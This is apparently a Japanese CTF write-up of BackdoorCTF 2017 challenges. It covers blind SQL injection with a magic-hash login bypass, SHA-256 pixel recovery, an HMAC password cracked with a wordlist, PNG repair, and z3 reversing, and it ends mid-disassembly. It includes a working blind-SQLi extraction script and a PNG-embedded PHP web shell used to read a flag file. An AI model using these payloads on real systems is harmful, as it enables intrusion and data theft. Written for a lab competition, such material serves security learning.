チーム Harekaze で BackdoorCTF 2017 に参加しました。最終的にチームで 3000 点を獲得し、順位は得点 212 チーム中 9 位でした。うち、私は 8 問を解いて 2350 点を入れました。
以下、解いた問題の write-up です。
URL と以下のようなソースが与えられました。
<html>
<head>
<title>The Wall</title>
</head>
<body>
<?php
include 'flag.php';
if(isset($_REQUEST['life'])&&isset($_REQUEST['soul'])){
$username = $_REQUEST['life'];
$password = $_REQUEST['soul'];
if(!(is_string($username)&&is_string($password))){
header( "refresh:1;url=login.html");
die("You are not allowed south of wall");
}
$password = md5($password);
include 'connection.php';
/*CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,role TEXT)*/
$message = "";
if(preg_match('/(union|\|)/i', $username)){
$message="Dead work alone not in UNIONs"."</br>";
echo $message;
die();
}
$query = "SELECT * FROM users WHERE username='$username'";
$result = $pdo->query($query);
$users = $result->fetchArray(SQLITE3_ASSOC);
if($users) {
if($password == $users['password']){
if($users['role']=="admin"){
echo "Here is your flag: $flag";
}elseif($users['role']=="normal"){
$message = "Welcome, ".$users['users']."</br>";
$message.= "Unfortunately, only Lord Commander can access flag";
}else{
$message = "What did you do?";
}
}
else{
$message = "Wrong identity for : ".$users['username'];
}
}
else{
$message = "No such person exists"."<br>";
}
echo $message;
}else{
header( "refresh:1;url=login.html");
die("Only living can cross The Wall");
}
?>
</body>
</html>
ログイン時に SQLi ができますが、union
は使えないようです。情報を抜き出す際には Blind SQLi をしましょう。
ユーザ名に ' or role='admin';--
を入力すると Wrong identity for : LordCommander
と表示されました。どうやら LordCommander
が admin のようです。パスワードを抜き出すスクリプトを書きましょう。
import requests
import urllib.parse
def check(s):
return b'No such person exists' not in s
url = 'http://163.172.176.29/WALL/index.php'
query = "' or (select substr(password, {}, 1) <= char({}) from users where username = 'LordCommander');--"
i = 1
res = ''
while True:
high = 0x7e
low = -1
while abs(high - low) > 1:
mid = (high + low) // 2
c = requests.post(url, data={
'life': query.format(i, mid),
'soul': ''
})
if check(c.content):
high = mid
else:
low = mid
res += chr(high)
print(i, repr(res))
i += 1
実行すると 0e5650...
のようなパスワードであると分かりました。パスワードの比較処理に if($password == $users['password']){
と緩い比較が使われていることから、Magic Hash が通りそうです。
ユーザ名に LordCommander
パスワードに 240610708
を入力するとフラグが得られました。
画像の暗号化を行う encrypt.py
と、これによって暗号化された encrypted.txt
が与えられました。encrypt.py
は以下のような内容でした。
from PIL import Image
def bin_return(dec):
return(str(format(dec,'b')))
def bin_8bit(dec):
return(str(format(dec,'08b')))
def convert_32bit(dec):
return(str(format(dec,'032b')))
def convert_64bit(dec):
return(str(format(dec,'064b')))
def hex_return(dec):
return expand(hex(dec).replace('0x','').replace('L',''))
def dec_return_bin(bin_string):
return(int(bin_string,2))
def dec_return_hex(hex_string):
return(int(hex_string,16))
def some_LP(l,n):
l1=[]
j=0
k=n
while k<len(l)+1:
l1.append(l[j:k])
j=k
k+=n
return(l1)
def rotate_right(bit_string,n):
bit_list = list(bit_string)
count=0
while count <= n-1:
list_main=list(bit_list)
var_0=list_main.pop(-1)
list_main=list([var_0]+list_main)
bit_list=list(list_main)
count+=1
return(''.join(list_main))
def shift_right(bit_string,n):
bit_list=list(bit_string)
count=0
while count <= n-1:
bit_list.pop(-1)
count+=1
front_append=['0']*n
return(''.join(front_append+bit_list))
def addition(input_set):
value=0
for i in range(len(input_set)):
value+=input_set[i]
mod_32 = 4294967296
return(value%mod_32)
def str_xor(s1,s2):
return ''.join([str(int(i)^int(j)) for i,j in zip(s1,s2)])
def str_and(s1,s2):
return ''.join([str(int(i)&int(j)) for i,j in zip(s1,s2)])
def str_not(s):
return ''.join([str(int(i)^1) for i in s])
def not_and_and_xor(x,y,z):
return(str_xor(str_and(x,y),str_and(str_not(x),z)))
def and_and_and_xor_xor(x,y,z):
return(str_xor(str_xor(str_and(x,y),str_and(x,z)),str_and(y,z)))
def some_e0(x):
return(str_xor(str_xor(rotate_right(x,2),rotate_right(x,13)),rotate_right(x,22)))
def some_e1(x):
return(str_xor(str_xor(rotate_right(x,6),rotate_right(x,11)),rotate_right(x,25)))
def some_s0(x):
return(str_xor(str_xor(rotate_right(x,7),rotate_right(x,18)),shift_right(x,3)))
def some_s1(x):
return(str_xor(str_xor(rotate_right(x,17),rotate_right(x,19)),shift_right(x,10)))
def expand(s):
return '0'*(8-len(s))+s
def get_pixels_list(filename):
im = Image.open(filename)
return list(im.getdata())
def data_encrypted(list_of_pixels):
data = ''
for i in list_of_pixels:
d = ''.join([chr(j) for j in i])
d = encryption(d)
data += ''.join(d)
print len(data)
return data
def message_pad(bit_list):
pad_one = bit_list + '1'
pad_len = len(pad_one)
k=0
while ((pad_len+k)-448)%512 != 0:
k+=1
back_append_0 = '0'*k
back_append_1 = convert_64bit(len(bit_list))
return(pad_one+back_append_0+back_append_1)
def message_bit_return(string_input):
bit_list=[]
for i in range(len(string_input)):
bit_list.append(bin_8bit(ord(string_input[i])))
return(''.join(bit_list))
def message_pre_pro(input_string):
bit_main = message_bit_return(input_string)
return(message_pad(bit_main))
def message_parsing(input_string):
return(some_LP(message_pre_pro(input_string),32))
def message_schedule(index,w_t):
new_word = convert_32bit(addition([int(some_s1(w_t[index-2]),2),int(w_t[index-7],2),int(some_s0(w_t[index-15]),2),int(w_t[index-16],2)]))
return(new_word)
initial=['6a09e667','bb67ae85','3c6ef372','a54ff53a','510e527f','9b05688c','1f83d9ab','5be0cd19']
values=['428a2f98','71374491','b5c0fbcf','e9b5dba5','3956c25b','59f111f1','923f82a4','ab1c5ed5','d807aa98','12835b01','243185be','550c7dc3','72be5d74','80deb1fe','9bdc06a7','c19bf174','e49b69c1','efbe4786','0fc19dc6','240ca1cc','2de92c6f','4a7484aa','5cb0a9dc','76f988da','983e5152','a831c66d','b00327c8','bf597fc7','c6e00bf3','d5a79147','06ca6351','14292967','27b70a85','2e1b2138','4d2c6dfc','53380d13','650a7354','766a0abb','81c2c92e','92722c85','a2bfe8a1','a81a664b','c24b8b70','c76c51a3','d192e819','d6990624','f40e3585','106aa070','19a4c116','1e376c08','2748774c','34b0bcb5','391c0cb3','4ed8aa4a','5b9cca4f','682e6ff3','748f82ee','78a5636f','84c87814','8cc70208','90befffa','a4506ceb','bef9a3f7','c67178f2']
def encryption(input_string):
w_t=message_parsing(input_string)
a=convert_32bit(dec_return_hex(initial[0]))
b=convert_32bit(dec_return_hex(initial[1]))
c=convert_32bit(dec_return_hex(initial[2]))
d=convert_32bit(dec_return_hex(initial[3]))
e=convert_32bit(dec_return_hex(initial[4]))
f=convert_32bit(dec_return_hex(initial[5]))
g=convert_32bit(dec_return_hex(initial[6]))
h=convert_32bit(dec_return_hex(initial[7]))
for i in range(0,64):
if i <= 15:
t_1=addition([int(h,2),int(some_e1(e),2),int(not_and_and_xor(e,f,g),2),int(values[i],16),int(w_t[i],2)])
t_2=addition([int(some_e0(a),2),int(and_and_and_xor_xor(a,b,c),2)])
h=g
g=f
f=e
e=addition([int(d,2),t_1])
d=c
c=b
b=a
a=addition([t_1,t_2])
a=convert_32bit(a)
e=convert_32bit(e)
if i > 15:
w_t.append(message_schedule(i,w_t))
t_1=addition([int(h,2),int(some_e1(e),2),int(not_and_and_xor(e,f,g),2),int(values[i],16),int(w_t[i],2)])
t_2=addition([int(some_e0(a),2),int(and_and_and_xor_xor(a,b,c),2)])
h=g
g=f
f=e
e=addition([int(d,2),t_1])
d=c
c=b
b=a
a=addition([t_1,t_2])
a=convert_32bit(a)
e=convert_32bit(e)
value_0 = addition([dec_return_hex(initial[0]),int(a,2)])
value_1 = addition([dec_return_hex(initial[1]),int(b,2)])
value_2 = addition([dec_return_hex(initial[2]),int(c,2)])
value_3 = addition([dec_return_hex(initial[3]),int(d,2)])
value_4 = addition([dec_return_hex(initial[4]),int(e,2)])
value_5 = addition([dec_return_hex(initial[5]),int(f,2)])
value_6 = addition([dec_return_hex(initial[6]),int(g,2)])
value_7 = addition([dec_return_hex(initial[7]),int(h,2)])
value = (hex_return(value_0),hex_return(value_1),hex_return(value_2),hex_return(value_3),hex_return(value_4),hex_return(value_5),hex_return(value_6),hex_return(value_7))
return(value)
list_pixels = get_pixels_list('./flag.png')
data = data_encrypted(list_pixels)
f = open('./encrypted.txt','w')
f.write(data)
f.close()
flag.png
を読み込んで 1 ピクセルずつ encryption
でハッシュ化し、全てのハッシュ値を結合したものを encrypted.txt
に書き込んでいるようです。
''.join(encryption('a'))
を実行すると ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb
という文字列が返ってきました。どうやら encryption
は SHA-256 のようです。
出現するハッシュと色の対応をブルートフォースで調べると、以下のような結果が得られました。
7b108f7c5c6f1507c4ffe2275dd9b8e25a71d175a5a9d3e19aeec3f27d82caf1: 207, 207, 207
f1b901847390b0ed7e374e7c1e464ec17b46a427c487a5ad6cbd2906405083d5: 96, 96, 96
ac205167ca956b408a925c3854fdd82ffa43672263ae7dba5a68b29d9a81fa56: 191, 191, 191
709e80c88487a2411e1ee4dfb9f22a861492d20c4765150c0c794abd70f8147c: 0, 0, 0
700af1feb55ab0613bdbc466815643743156af4e869120244eb05ca72c45002c: 175, 175, 175
204164d223b35aabb54ea32b1d14d8bb5a8df56f7c81f3304987fa4193426729: 80, 80, 80
91737e71235959a56c524997e18d6d14d6ddd714ed2a450a24f765255a2733ee: 159, 159, 159
c4289629b08bc4d61411aaa6d6d4a0c3c5f8c1e848e282976e29b6bed5aeedc7: 112, 112, 112
0aad7da77d2ed59c396c99a74e49f3a4524dcdbcb5163251b1433d640247aeb4: 32, 32, 32
5ae7e6a42304dc6e4176210b83c43024f99a0bce9a870c3b6d2c95fc8ebfb74c: 255, 255, 255
2ac9a6746aca543af8dff39894cfe8173afba21eb01c6fae33d52947222855ef: 48, 48, 48
5ae0d5195906bfc4f70167cf171ae4d08e7376aa246977acf172187d5d384f10: 239, 239, 239
8ae40a3583aef6697d2c2eff57eb915ed0bda54aaa92812ad97982743ac06f37: 128, 128, 128
2ec847d8a31a988b3117a5095dae74f490448223f035ec7eddef6768b91a9028: 64, 64, 64
ab5ab0fedc83e5a1a1871c427eccbcd3cf0fc1bb74a82a552adfd9b4e57f391b: 16, 16, 16
b9e8d0a22760b87553c0b9c55ae93058bf8d4389c87765488cea1637e94bd9b6: 143, 143, 143
a30cb1d8569c5c141b2ade1caf57038b2be46c9bc4939c8f702a0ff4fcecfd77: 223, 223, 223
この結果をもとに以下のスクリプトを実行するとフラグが得られました。
import re
from PIL import Image
d = {
"7b108f7c5c6f1507c4ffe2275dd9b8e25a71d175a5a9d3e19aeec3f27d82caf1": (207, 207, 207),
"f1b901847390b0ed7e374e7c1e464ec17b46a427c487a5ad6cbd2906405083d5": (96, 96, 96),
"ac205167ca956b408a925c3854fdd82ffa43672263ae7dba5a68b29d9a81fa56": (191, 191, 191),
"709e80c88487a2411e1ee4dfb9f22a861492d20c4765150c0c794abd70f8147c": (0, 0, 0),
"700af1feb55ab0613bdbc466815643743156af4e869120244eb05ca72c45002c": (175, 175, 175),
"204164d223b35aabb54ea32b1d14d8bb5a8df56f7c81f3304987fa4193426729": (80, 80, 80),
"91737e71235959a56c524997e18d6d14d6ddd714ed2a450a24f765255a2733ee": (159, 159, 159),
"c4289629b08bc4d61411aaa6d6d4a0c3c5f8c1e848e282976e29b6bed5aeedc7": (112, 112, 112),
"0aad7da77d2ed59c396c99a74e49f3a4524dcdbcb5163251b1433d640247aeb4": (32, 32, 32),
"5ae7e6a42304dc6e4176210b83c43024f99a0bce9a870c3b6d2c95fc8ebfb74c": (255, 255, 255),
"2ac9a6746aca543af8dff39894cfe8173afba21eb01c6fae33d52947222855ef": (48, 48, 48),
"5ae0d5195906bfc4f70167cf171ae4d08e7376aa246977acf172187d5d384f10": (239, 239, 239),
"8ae40a3583aef6697d2c2eff57eb915ed0bda54aaa92812ad97982743ac06f37": (128, 128, 128),
"2ec847d8a31a988b3117a5095dae74f490448223f035ec7eddef6768b91a9028": (64, 64, 64),
"ab5ab0fedc83e5a1a1871c427eccbcd3cf0fc1bb74a82a552adfd9b4e57f391b": (16, 16, 16),
"b9e8d0a22760b87553c0b9c55ae93058bf8d4389c87765488cea1637e94bd9b6": (143, 143, 143),
"a30cb1d8569c5c141b2ade1caf57038b2be46c9bc4939c8f702a0ff4fcecfd77": (223, 223, 223)
}
with open('encrypted.txt', 'r') as f:
s = f.read()
n = 7371
w = 351
h = n // w
im = Image.new('RGB', (w, h))
pix = im.load()
for i, h in enumerate(re.findall(r'.{64}', s)):
pix[i % w, i // w] = d[h]
im.show()
与えられた URL にアクセスすると、以下のようなソースのページが表示されました。
<!doctype html>
<html class="z-html">
<head>
<meta charset="utf-8">
<title>Open Challenge</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- do not cache this page -->
<meta http-equiv="cache-control" content="max-age=0"/>
<meta http-equiv="cache-control" content="no-cache"/>
<meta http-equiv="expires" content="0"/>
<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT"/>
<meta http-equiv="pragma" content="no-cache"/>
<style>
...
</style>
</head>
<body class="z-body">
<!-- Hey, you looked into the source for comments! As a bonus for doing so, f0xtr0t grants you this link: https://www.youtube.com/watch?v=-tJYN-eG1zk -->
<div class="z-page">
<div class="z-form">
<div class="z-instructions">
<p class="z-title">Open Challenge!</p>
<p>Let us see if you can haxor me XD XD</p>
</div>
<hr class="z-hr">
<form id="z-form" action="#" method="post">
<input id="z-password"
type="hidden"
name="password"
placeholder="hidden away"
disabled="true"/>
<input type="submit" class="z-decrypt-button" value="Clicking me won't help"/>
</form>
</div>
</div>
<script
src="https://code.jquery.com/jquery-3.2.1.min.js"
integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/crypto-js.min.js"></script>
<script>
(めっちゃ長い JSF*ck のコード)
</script>
</body>
</html>
Clicking me won't help
というボタンをクリックすると Haha, try again!
というアラートが表示されました。どうやら JSF*ck のコード中でこのボタンのクリック時のイベントハンドラの設定を行っているようです。
Chrome の DevTools でこのボタンを選択し、Event Listeners タブで handler の Show function definition を選択すると以下のようなコードが得られました。
$(function() {
$("#z-form").submit(function(t) {
t.preventDefault();
var a = $("#z-password").val()
, e = "8e15ad6e5f26fe0585707dc97ce967c6ffaac0cacd2037c4c6c63a503ceea1e6U2FsdGVkX1+yNXzSLU+2HUI7GTRvpl9BdTD1OPX5iMZgHlYay52uv5t/UEHRkeKLJyFjgCoV2nxfL17HPAz8e3bQy0tm0VtorCHXuW/IauNEynVQygPQzaob/1eRihkfYf1XW59GQscAf9uDz93Dub7qiIn5WMIH6hzkM1yDbDBXb6U4GdZQWYsqoFStfyBGaQ04DnnrN3qU/kSs3ciVGmWyW3vuPSHw26VwmINr1jF16DKGK8YWBExVgu9zhiNBaxyQIuWs2SX2BVHokVBOKg=="
, r = e.substring(0, 64)
, c = e.substring(64);
if (CryptoJS.HmacSHA256(c, CryptoJS.SHA256(a)).toString() === r) {
var n = CryptoJS.AES.decrypt(c, a).toString(CryptoJS.enc.Utf8);
document.write("<html><body><h1>Congratulations!</h1><h2>If you've been following along closely, you should have found the flag by now :P</h2></body></html>")
} else
alert("Haha, try again!")
})
});
どうにかしてパスワードを当てる必要がありそうです。
<!-- Hey, you looked into the source for comments! As a bonus for doing so, f0xtr0t grants you this link: https://www.youtube.com/watch?v=-tJYN-eG1zk -->
というコメントのリンクにアクセスすると、どうやらこれは Queen の We Will Rock You の動画のようでした。
rockyou.txt を使ってパスワードを調べるスクリプトを書きましょう。
import hashlib
import hmac
def hmac_sha256(s, k):
return hmac.new(k, s, hashlib.sha256).hexdigest()
def sha256(s):
return hashlib.sha256(s).digest()
r = '8e15ad6e5f26fe0585707dc97ce967c6ffaac0cacd2037c4c6c63a503ceea1e6'
c = 'U2FsdGVkX1+yNXzSLU+2HUI7GTRvpl9BdTD1OPX5iMZgHlYay52uv5t/UEHRkeKLJyFjgCoV2nxfL17HPAz8e3bQy0tm0VtorCHXuW/IauNEynVQygPQzaob/1eRihkfYf1XW59GQscAf9uDz93Dub7qiIn5WMIH6hzkM1yDbDBXb6U4GdZQWYsqoFStfyBGaQ04DnnrN3qU/kSs3ciVGmWyW3vuPSHw26VwmINr1jF16DKGK8YWBExVgu9zhiNBaxyQIuWs2SX2BVHokVBOKg=='
with open('/usr/share/dict/rockyou.txt', 'r') as f:
while True:
p = f.readline().strip()
if hmac_sha256(c, sha256(a)) == r:
print p
実行すると dexter
がパスワードであるとわかりました。
corrupt.data
というファイルが与えられました。file
に投げてみましょう。
$ file corrupt.data
corrupt.data: zlib compressed data
Python の zlib.decompress
などで展開し、result.bin
として保存します。
問題名から PNG の IDAT チャンクのデータではないかと考えて読むと、3D 3D 3D 00 3E 3E 3E 00 07 07 07 00 52 52 52 00 50 50 50 00
のような内容から RGBA の画像であると推測できます。
ですが、result.bin
は FF 66 66 66 FF
から始まっているため、フィルターのタイプが FF
のように壊されていることが考えられます。このような場合には適当なフィルターのタイプを選ぶようにしましょう。
以下のスクリプトを実行するとフラグが得られました。
from math import floor
from PIL import Image
def paeth(a, b, c):
p = a + b - c
pa = abs(p - a)
pb = abs(p - b)
pc = abs(p - c)
if pa <= pb and pa <= pc:
return a
elif pb <= pc:
return b
else:
return c
w, h = 997, 602
f = open('result.bin', 'rb')
im = Image.new('RGBA', (w, h), (0, 0, 0, 255))
pix = im.load()
prev = []
try:
for y in range(h):
m = ord(f.read(1))
row = []
pr, pg, pb, pa = 0, 0, 0, 0
for x in range(w):
r, g, b, a = f.read(4)
if m == 4:
m = 2
if m == 1:
# Sub
r, g, b, a = (r + pr) % 256, (g + pg) % 256, (b + pb) % 256, (a + pa) % 256
elif m == 2:
# Up
r, g, b, a = (r + prev[x][0]) % 256, (g + prev[x][1]) % 256, (b + prev[x][2]) % 256, (a + prev[x][3]) % 256
elif m == 3:
# Average
r = (r + floor((pr + prev[x][0]) / 2)) % 256
g = (g + floor((pg + prev[x][1]) / 2)) % 256
b = (b + floor((pb + prev[x][2]) / 2)) % 256
a = (a + floor((pa + prev[x][3]) / 2)) % 256
elif m == 4:
# Paeth
r = (r + paeth(pr, prev[x][0], prev[x - 1][0] if x > 0 else 0)) % 256
g = (g + paeth(pg, prev[x][1], prev[x - 1][1] if x > 0 else 0)) % 256
b = (b + paeth(pb, prev[x][2], prev[x - 1][2] if x > 0 else 0)) % 256
a = (a + paeth(pa, prev[x][3], prev[x - 1][3] if x > 0 else 0)) % 256
pix[x, y] = r, g, b, a
pr, pg, pb, pa = r, g, b, a
row.append([r, g, b, a])
prev = row
except:
pass
im.show()
challenge
というファイルが与えられました。file
に投げてみましょう。
$ file ./challenge
./challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=19a85aefbf9989c28ef64ae7a1c164882a0fa9af, not stripped
x86_64 の ELF のようです。逆アセンブルすると以下のような処理がありました。
00000000004007e2 <main>:
4007e2: 55 push rbp
4007e3: 48 89 e5 mov rbp,rsp
4007e6: 48 83 ec 50 sub rsp,0x50
4007ea: 89 7d bc mov DWORD PTR [rbp-0x44],edi
4007ed: 48 89 75 b0 mov QWORD PTR [rbp-0x50],rsi
4007f1: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
4007f8: 00 00
4007fa: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
4007fe: 31 c0 xor eax,eax
400800: 83 7d bc 1f cmp DWORD PTR [rbp-0x44],0x1f
400804: 74 19 je 40081f <main+0x3d>
400806: bf 80 0e 40 00 mov edi,0x400e80 # "Usage ./challenge <each byte of flag seperated by spaces>"
40080b: b8 00 00 00 00 mov eax,0x0
400810: e8 2b fe ff ff call 400640 <printf@plt>
400815: bf 01 00 00 00 mov edi,0x1
40081a: e8 31 fe ff ff call 400650 <exit@plt>
40081f: c7 45 cc 00 00 00 00 mov DWORD PTR [rbp-0x34],0x0
400826: 8b 45 bc mov eax,DWORD PTR [rbp-0x44]
400829: 83 e8 01 sub eax,0x1
40082c: 3b 45 cc cmp eax,DWORD PTR [rbp-0x34]
40082f: 7e 2d jle 40085e <main+0x7c>
400831: 8b 45 cc mov eax,DWORD PTR [rbp-0x34]
400834: 48 98 cdqe
400836: 48 83 c0 01 add rax,0x1
40083a: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0]
400841: 00
400842: 48 8b 45 b0 mov rax,QWORD PTR [rbp-0x50]
400846: 48 01 d0 add rax,rdx
400849: 48 8b 00 mov rax,QWORD PTR [rax]
40084c: 0f b6 10 movzx edx,BYTE PTR [rax]
40084f: 8b 45 cc mov eax,DWORD PTR [rbp-0x34]
400852: 48 98 cdqe
400854: 88 54 05 d0 mov BYTE PTR [rbp+rax*1-0x30],dl
400858: 83 45 cc 01 add DWORD PTR [rbp-0x34],0x1
40085c: eb c8 jmp 400826 <main+0x44>
40085e: 0f b6 45 d0 movzx eax,BYTE PTR [rbp-0x30]
400862: 0f be d0 movsx edx,al
400865: 0f b6 45 d1 movzx eax,BYTE PTR [rbp-0x2f]
400869: 0f be c0 movsx eax,al
40086c: 01 c2 add edx,eax
40086e: 0f b6 45 d2 movzx eax,BYTE PTR [rbp-0x2e]
400872: 0f be c0 movsx eax,al
400875: 29 c2 sub edx,eax
400877: 89 d0 mov eax,edx
400879: 83 f8 51 cmp eax,0x51
40087c: 0f 85 e4 04 00 00 jne 400d66 <main+0x584>
400882: 0f b6 45 d0 movzx eax,BYTE PTR [rbp-0x30]
400886: 0f be d0 movsx edx,al
400889: 0f b6 45 d1 movzx eax,BYTE PTR [rbp-0x2f]
40088d: 0f be c0 movsx eax,al
400890: 29 c2 sub edx,eax
400892: 0f b6 45 d2 movzx eax,BYTE PTR [rbp-0x2e]
400896: 0f be c0 movsx eax,al
400899: 01 d0 add eax,edx
40089b: 83 f8 35 cmp eax,0x35
40089e: 0f 85 bb 04 00 00 jne 400d5f <main+0x57d>
...
400c70: e8 41 fb ff ff call 4007b6 <_Z7successv>
400c75: e9 f1 00 00 00 jmp 400d6b <main+0x589>
...
400d5f: e8 68 fa ff ff call 4007cc <_Z4failv>
400d64: eb 05 jmp 400d6b <main+0x589>
400d66: e8 61 fa ff ff call 4007cc <_Z4failv>
400d6b: b8 00 00 00 00 mov eax,0x0
400d70: 48 8b 4d f8 mov rcx,QWORD PTR [rbp-0x8]
400d74: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28
400d7b: 00 00
400d7d: 74 05 je 400d84 <main+0x5a2>
400d7f: e8 1c f9 ff ff call 4006a0 <__stack_chk_fail@plt>
400d84: c9 leave
400d85: c3 ret
./challenge C T F { ... }
という感じでフラグを入力し、もし間違っていれば _Z4failv
が、合っていれば _Z7successv
が呼び出されるようです。
1 文字目と 2 文字目を足して 3 文字目を引いた結果を 0x51 と比較、1 文字目から 2 文字目を引いて 3 文字目を足した結果を 0x35 と比較 … ということを何度も繰り返しているようなので、これらの処理からフラグを逆算してしまいましょう。
以下のスクリプトを実行するとフラグが得られました。
import re
import sys
from z3 import *
s = '''
movzx eax,BYTE PTR [rbp-0x30]
movsx edx,al
movzx eax,BYTE PTR [rbp-0x2f]
movsx eax,al
add edx,eax
movzx eax,BYTE PTR [rbp-0x2e]
...
sub edx,eax
movzx eax,BYTE PTR [rbp-0x13]
movsx eax,al
add eax,edx
cmp eax,0x7d
'''.strip()
flag = BitVecs(['x_%d' % x for x in range(30)], 8)
solver = Solver()
m = re.findall(r'''
movzx\s*eax,BYTE PTR \[rbp-0x([0-9a-f]+)\]
movsx\s*edx,al
movzx\s*eax,BYTE PTR \[rbp-0x([0-9a-f]+)\]
movsx\s*eax,al
(add|sub)\s*edx,eax
movzx\s*eax,BYTE PTR \[rbp-0x([0-9a-f]+)\]
movsx\s*eax,al
(add|sub)\s*(eax|edx),(eax|edx)
(mov\s*eax,edx
)?cmp\s*eax,0x([0-9a-f]+)
'''.strip(), s)
for c in flag:
solver.add(0x20 <= c, c < 0x7f)
for i, j, op1, k, op2, dst, src, f, c in m:
edx = flag[int(i, 16) - 0x31]
eax = flag[int(j, 16) - 0x31]
if op1 == 'add':
edx += eax
else:
edx -= eax
eax = flag[int(k, 16) - 0x31]
if op2 == 'add':
if dst == 'eax':
eax += edx
else:
edx += eax
else:
if dst == 'eax':
eax -= edx
else:
edx -= eax
if f:
eax = edx
solver.add(eax == int(c, 16))
r = solver.check()
if r == sat:
m = solver.model()
else:
sys.exit(0)
res = ''
for c in flag:
res += chr(m[c].as_long())
print res[::-1]
与えられた URL にアクセスすると、PNG をアップロードできるフォームが表示されました。試しに以下のような内容の a.png
をアップロードすると、
以下のようにリサイズされて /uploads/a.png
にアップロードされました。
a.php
というファイル名だと /uploads/a.php
にアップロードされました。/uploads/a.php
にアクセスするとテキストとして表示されているので、どうやら PHP ファイルとして実行されているようです。
リサイズされると IDAT チャンクに PHP のコードが含まれるようになる PNG を作りましょう。
Python とペイントで調整しながら以下のような PNG を作成してアップロードすると、
IDAT チャンクが以下のように <?=SYSTEM($_GET["A"]);?>
から始まる形に圧縮されました。
shell.php
というファイル名でアップロードし、/uploads/shell.php?A=cat%20../flag.php
にアクセスするとフラグが得られました。
SSH の接続情報が与えられました。
接続するとホームディレクトリに open-design
という実行ファイルがありました。ls -la
で権限を見てみると、どうやら実行権限のみで読み取り権限はないようです。
rev問のソルバを書くときとかに使えるかもしれない小テク - しゃろの日記を参考に __libc_start_main
を差し替えてメモリをダンプしてみましょう。
// gcc -o a.so a.c -shared -fPIC && LD_PRELOAD=./a.so /home/vampire/open-design
#include <stdio.h>
#include <stdlib.h>
int __libc_start_main (int (*main) (int, char **, char **), int argc, char **argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end){
int i, j;
for (i = 0; i < 0x400; i++) {
printf("%p: ", ((unsigned char *) main) + i * 16);
for (j = 0; j < 16; j++) {
printf("%02x ", ((unsigned char *) main)[i * 16 + j]);
}
putchar('\n');
}
exit(0);
}
$ gcc -o a.so a.c -shared -fPIC
$ LD_PRELOAD=./a.so /home/vampire/open-design
0x4007b8: 55 48 89 e5 b8 00 00 00 00 5d c3 66 2e 0f 1f 84
0x4007c8: 00 00 00 00 00 0f 1f 00 41 57 41 56 41 89 ff 41
0x4007d8: 55 41 54 4c 8d 25 2e 06 20 00 55 48 8d 2d 2e 06
0x4007e8: 20 00 53 49 89 f6 49 89 d5 4c 29 e5 48 83 ec 08
0x4007f8: 48 c1 fd 03 e8 c7 fc ff ff 48 85 ed 74 20 31 db
0x400808: 0f 1f 84 00 00 00 00 00 4c 89 ea 4c 89 f6 44 89
0x400818: ff 41 ff 14 dc 48 83 c3 01 48 39 eb 75 ea 48 83
0x400828: c4 08 5b 5d 41 5c 41 5d 41 5e 41 5f c3 90 66 2e
0x400838: 0f 1f 84 00 00 00 00 00 f3 c3 00 00 48 83 ec 08
0x400848: 48 83 c4 08 c3 00 00 00 01 00 02 00 00 00 00 00
...
main
(0x4007b8) を逆アセンブルしてみましょう。
0: 55 push rbp
1: 48 89 e5 mov rbp, rsp
4: b8 00 00 00 00 mov eax, 0x0
9: 5d pop rbp
a: c3 ret
return 0
だけのようです。他に何か関数がないか探してみましょう。
0x400000 からメモリをダンプして push rbp; mov rbp, rsp
を探すと 0x400673 に怪しげな関数を見つけました。逆アセンブルしましょう。
c1: 55 push rbp
c2: 48 89 e5 mov rbp, rsp
c5: 53 push rbx
c6: 48 83 ec 58 sub rsp, 0x58
ca: 48 89 7d a8 mov QWORD PTR [rbp-0x58], rdi
ce: 64 48 8b 04 25 28 00 mov rax, QWORD PTR fs:0x28
d5: 00 00
d7: 48 89 45 e8 mov QWORD PTR [rbp-0x18], rax
db: 31 c0 xor eax, eax
dd: c7 45 b0 01 00 00 00 mov DWORD PTR [rbp-0x50], 0x1
e4: c7 45 b4 00 00 00 00 mov DWORD PTR [rbp-0x4c], 0x0
eb: 48 c7 45 b8 58 08 40 mov QWORD PTR [rbp-0x48], 0x400858
f2: 00
f3: eb 3f jmp 0x134
f5: 8b 45 b4 mov eax, DWORD PTR [rbp-0x4c]
f8: 48 98 cdqe
fa: 0f b6 80 80 10 60 00 movzx eax, BYTE PTR [rax+0x601080]
101: 0f be d0 movsx edx, al
104: 8b 45 b4 mov eax, DWORD PTR [rbp-0x4c]
107: 83 c0 01 add eax, 0x1
10a: 48 98 cdqe
10c: 0f b6 80 80 10 60 00 movzx eax, BYTE PTR [rax+0x601080]
113: 0f be c0 movsx eax, al
116: 0f af d0 imul edx, eax
119: 8b 45 b4 mov eax, DWORD PTR [rbp-0x4c]
11c: 83 c0 02 add eax, 0x2
11f: 48 98 cdqe
121: 0f b6 80 80 10 60 00 movzx eax, BYTE PTR [rax+0x601080]
128: 0f be c0 movsx eax, al
12b: 01 d0 add eax, edx
12d: 01 45 b0 add DWORD PTR [rbp-0x50], eax
130: 83 45 b4 01 add DWORD PTR [rbp-0x4c], 0x1
134: 8b 45 b4 mov eax, DWORD PTR [rbp-0x4c]
137: 48 63 d8 movsxd rbx, eax
13a: bf 80 10 60 00 mov edi, 0x601080
13f: e8 27 fe ff ff call 0xffffffffffffff6b
144: 48 39 c3 cmp rbx, rax
147: 72 ac jb 0xf5
149: c7 45 b4 00 00 00 00 mov DWORD PTR [rbp-0x4c], 0x0
150: eb 3d jmp 0x18f
152: 8b 45 b4 mov eax, DWORD PTR [rbp-0x4c]
155: 48 63 d0 movsxd rdx, eax
158: 48 8b 45 a8 mov rax, QWORD PTR [rbp-0x58]
